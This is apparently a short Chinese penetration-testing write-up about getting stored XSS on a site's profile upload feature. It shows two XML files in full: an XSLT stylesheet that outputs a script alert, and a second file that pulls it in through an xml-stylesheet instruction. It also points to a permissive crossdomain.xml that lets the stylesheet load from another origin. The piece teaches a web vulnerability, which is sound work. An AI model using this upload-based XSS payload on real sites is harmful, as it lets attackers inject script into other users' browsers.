记一次由XML引起的XSS
记一次由XML引起的XSS
同源策略:
同源策略(Same origin policy)是一种约定,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响。可以说Web是构建在同源策略基础之上的,浏览器只是针对同源策略的一种实现。
首先,通过目录探测发现目标站点存在crossdomain.xml文件,配置如下:
可以看到都是默认配置,允许所有的域。
在个人中心处,测试上传功能时,多番尝试始终无法getshell,就想上传html来制造XSS,很可惜:
但是发现可以上传xml:
思考了一下,想起来XML中可以加载外部的资源,那么可以先上传一个用来调用的xml文件,内容如下:
文件A.xml
<?xml version="1.0" encoding="iso-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html><body>
<script>alert(/xss/);</script>
</body></html>
</xsl:template>
</xsl:stylesheet>
得到 路径A
然后对其进行引用:
文件B.xml
<?xml version="1.0" encoding="iso-8859-1"?>
<?xml-stylesheet type="text/xsl" href="域名+路径A"?>
<test></test>
得到路径B
最后访问文件B:域名+路径B
成功触发XSS
这里我们引用的是同域下的文件,由于前面的crossdomain.xml的配置问题,这里我们甚至可以是从其他地方去引入这个文件。